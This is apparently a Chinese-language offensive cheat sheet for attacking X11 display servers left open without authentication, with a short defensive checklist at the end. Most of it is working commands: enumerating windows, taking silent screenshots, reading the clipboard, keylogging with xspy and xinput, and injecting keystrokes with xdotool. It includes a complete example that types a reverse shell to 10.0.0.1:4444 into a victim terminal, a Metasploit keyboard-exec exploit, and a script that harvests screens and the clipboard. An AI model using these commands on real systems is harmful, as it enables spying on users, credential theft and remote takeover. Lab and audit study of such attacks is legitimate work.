概述X Window SystemX11是 Unix/Linux 系统的标准图形窗口系统采用客户端-服务器架构X Server管理显示、键盘、鼠标监听客户端连接X ClientGUI 应用程序xterm、firefox 等向 X Server 发送绘制请求并接收输入事件默认监听端口TCP 6000 display 编号display 0 6000, display 1 6001, …以及 Unix socket/tmp/.X11-unix/Xdisplay。一、服务发现与识别端口扫描nmap-sT-p6000-6009targetX11 端口特征PORT STATE SERVICE 6000/tcp open X11服务版本识别nmap-sV-p6000target匿名访问检测nmap-sV--scriptx11-access-p6000targetMetasploit 模块msf6 use auxiliary/scanner/x11/open_x11 msf6 set RHOSTS target msf6 run脚本输出示例| x11-access: | Access denied |_ Unable to access display | x11-access: | Access granted |_ display surevyAccess granted意味着服务器以-acdisable access control启动或 cookie 为空/可预测。这是安全审计的强信号。二、连接与基础信息收集确认连接xdpyinfo-displaytarget:0正常输出name of display: 192.168.1.100:0 version number: 11.0 vendor string: The X.Org Foundation vendor release number: 12101023 X.Org version: 21.1.23 number of extensions: 22获取屏幕信息xrandr--displaytarget:0查看默认字体路径xlsfonts-displaytarget:0-l|head-20查看颜色信息xdpyinfo-displaytarget:0|grep-iscreen\|depth\|visual三、窗口枚举完整窗口树查看所有窗口的父子关系、ID、标题、尺寸和位置xwininfo-root-tree-displaytarget:0输出示例xwininfo: Window id: 0x42 (the root window) (has no name) Root window id: 0x42 (the root window) (has no name) Parent window id: 0x0 (none) 3 children: 0x600001 (has no name): () 1x100 00 0x400001 (has no name): () 1x100 00 0x20000c user.txt; cat flag; Press enter: (xterm XTerm) 800x600100100 100100 1 child: 0x200018 (has no name): () 800x60000 101101关键字段含义字段说明0x20000c窗口 IDHex用于后续操作的标识符user.txt;...窗口标题xterm 的-e参数内容即标题xterm XTerm应用程序类名和实例名800x600100100窗口宽高 相对于父窗口的偏移100100屏幕绝对坐标单窗口详细信息xwininfo-id0x20000c-displaytarget:0xwininfo-namexterm-displaytarget:0查看运行中的客户端列表xlsclients-displaytarget:0输出bamuwe xterm root Xvfb查看根窗口属性整个桌面环境的元信息存储在根窗口的属性中xprop-root-displaytarget:0常用属性# 当前激活的窗口xprop-root_NET_ACTIVE_WINDOW-displaytarget:0# 桌面工作区信息xprop-root_NET_CURRENT_DESKTOP-displaytarget:0# 所有窗口列表xprop-root_NET_CLIENT_LIST-displaytarget:0# 窗口标题xprop-root_NET_DESKTOP_NAMES-displaytarget:0原子属性枚举xprop-root-displaytarget:0|grep-iwindow\|client\|name四、输入设备枚举列出输入设备xinput--list--displaytarget:0输出⎡ Virtual core pointer id2 [master pointer (3)] ⎜ ↳ Virtual core XTEST pointer id4 [slave pointer (2)] ⎜ ↳ xf86-input-libinput id6 [slave pointer (2)] ⎣ Virtual core keyboard id3 [master keyboard (2)] ↳ Virtual core XTEST keyboard id5 [slave keyboard (2)] ↳ xf86-input-libinput id7 [slave keyboard (2)]监听输入事件xinput --test-xi2--displaytarget:0该命令需要 X Input 2.x 扩展支持输出实时按键和鼠标事件。五、截屏与画面捕获xwd原生 X11 截图工具# 截取整个屏幕xwd-root-displaytarget:0screenshot.xwd# 截取指定窗口xwd-id0x20000c-displaytarget:0window.xwd# 静默模式不闪烁边框xwd-root-silent-displaytarget:0screenshot.xwd格式转换需 ImageMagickconvert screenshot.xwd screenshot.pngxwd 转 PDFconvert screenshot.xwd screenshot.pdf远程桌面实时监控使用xwatchwin实时查看远程桌面变化xwatchwintarget:0-w0x420x42是 root window ID从xwininfo -root获取使用xpra进行远程桌面 shadowxpra shadow ssh://usertarget:0六、剪贴板操作读取剪贴板# 剪贴板CtrlC / CtrlVxclip-displaytarget:0-selectionclipboard-o# 主选择区鼠标选中即复制xclip-displaytarget:0-selectionprimary-o# 次选择区某些应用使用xclip-displaytarget:0-selectionsecondary-o使用 xselxsel--displaytarget:0--clipboard--outputxsel--displaytarget:0--primary--output写入剪贴板echoinjected text|xclip-displaytarget:0-selectionclipboardX11 剪贴板在匿名访问场景下是高风险的信息泄漏面密码、SSH 密钥、API token 常出现在这里。七、键盘输入监控xspy经典 X11 键盘记录器xspytarget:0Kali Linux 自带输出实时按键opened 192.168.1.100:0 for snooping userBackSpace_Caps_Lock passw0rdTabReturnxinput 事件监听xinput --test-xi2--displaytarget:0需要指定设备 ID# 先列出设备xinput--list--displaytarget:0# 监听指定键盘设备xinput--test--id3--displaytarget:0八、键盘注入xdotool自动按键与窗口操作# 查找窗口xdotool search--namexterm--displaytarget:0 xdotool search--classXTerm--displaytarget:0 xdotool search--all--nameflag--displaytarget:0# 激活窗口xdotool windowactivate--syncWINDOW_ID--displaytarget:0# 注入按键xdotooltype--delay20cat /etc/shadow--displaytarget:0 xdotool key Return--displaytarget:0# 组合键xdotool key Ctrlc--displaytarget:0 xdotool key AltF2--displaytarget:0# 鼠标点击xdotool mousemove--displaytarget:0100300click1注入反弹 Shell 完整示例# 1. 找到目标窗口WID$(xdotool search--namexterm--displaytarget:0|head-1)# 2. 激活并聚焦xdotool windowactivate--sync$WID--displaytarget:0sleep0.5# 3. 注入命令xdotooltype--delay30bash -c exec bash -i /dev/tcp/10.0.0.1/4444 1--displaytarget:0 xdotool key Return--displaytarget:0利用 Metasploit 模块msf6 use exploit/unix/x11/x11_keyboard_exec msf6 set RHOSTS target msf6 set DISPLAY :0 msf6 set SESSION 1 msf6 exploitxdotool 组合键列表键名说明Return回车BackSpace退格Tab制表符Escape退出Delete删除Up/Down/Left/Right方向键Ctrlc中断Shift_L/Shift_RShiftAlt_L/Alt_RAltSuper_L/Super_RWindows/Command 键KP_Enter小键盘回车九、多 Display 架构与隔离架构原理一台机器可以运行多个 X Server 实例每个实例对应一个 display 编号DisplayTCP 端口Unix socket访问方式:06000/tmp/.X11-unix/X0TCP Unix:16001/tmp/.X11-unix/X1TCP Unix默认:0无-listen tcp无/tmp/.X11-unix/X0仅 Unix启动无 TCP 的 DisplayXvfb :1-screen01280x720x24-ac# 默认只绑定 Unix socket不监听 TCP启动有 TCP 的 DisplayXvfb :0-screen01280x720x24-ac-listentcp# 同时监听 TCP 6000 和 Unix socket关键安全含义不同 display 完全隔离一个 display 的客户端无法看到或操作另一个 display 的窗口匿名远程用户只能访问开启了-listen tcp的 displayUnix socket 路径受文件系统权限保护但通常xhost 后任何本地用户可访问枚举本地存在的 Display# 查看所有 Unix socketls-la/tmp/.X11-unix/# 查看环境变量echo$DISPLAY# 查看 X Server 进程psaux|grep-E[X]org|[X]vfb|[X]wayland# 查看 Xauthorityxauth list十、X11 认证机制MIT-MAGIC-COOKIE-1默认认证方式16 字节随机 cookie 存储在~/.Xauthority# 查看当前 cookiexauth list# 十六进制查看 .Xauthorityxxd ~/.Xauthority# 设置 XAUTHORITY 环境变量exportXAUTHORITY/home/user/.Xauthority绕过方式-ac模式服务器完全不验证 cookie任何客户端可连接Cookie 文件可读如果.Xauthority权限配置不当如 644低权限用户可以读取Cookie 硬编码/可预测某些嵌入式系统使用固定 cookieSSH -X 转发SSH X11 转发会创建临时的localhost:10displaycookie 可能暴露查看服务端认证参数# 查看 X Server 启动参数psaux|grepX# 若包含 -auth可找到权威 cookie 文件十一、自动化工具链Nmap 脚本nmap-sV--scriptx11-access-p6000targetMetasploit# 扫描 auxiliary/scanner/x11/open_x11 # 键盘注入提权 exploit/unix/x11/x11_keyboard_exec自定义自动化脚本#!/bin/bash# x11-enum.sh - 自动化 X11 枚举TARGET$1DISPLAY${2:-0}echo[*] Checking X11 access...xdpyinfo-display$TARGET:$DISPLAY/dev/nullif[$?-ne0];thenecho[-] Cannot connect to$TARGET:$DISPLAYexit1fiecho[] Connected to$TARGET:$DISPLAYechoecho[*] Window tree:xwininfo-root-tree-display$TARGET:$DISPLAY2/dev/null|grep-Exterm|rxvt|gnome|kate|firefox|chromeechoecho[*] Clients:xlsclients-display$TARGET:$DISPLAY2/dev/nullechoecho[*] Clipboard content:xclip-display$TARGET:$DISPLAY-selectionclipboard-o2/dev/null||echo(empty)echoecho[*] Taking screenshot...xwd-root-display$TARGET:$DISPLAY-silent/tmp/x11_scan.xwd2/dev/null convert /tmp/x11_scan.xwd /tmp/x11_scan.png2/dev/nullecho[] Screenshot saved to /tmp/x11_scan.png十二、安全防护建议服务端永远不要在生产环境使用-ac改用 SSH X11 转发ssh -X替代裸 TCP使用xhost白名单限制来源 IP防火墙限制 6000 端口仅允许信任 IP使用xauthmcookie生成强随机 cookie客户端不连接不信任的 X Server使用ssh -Y时确认远程服务器可信避免在 X11 转发会话中输入敏感信息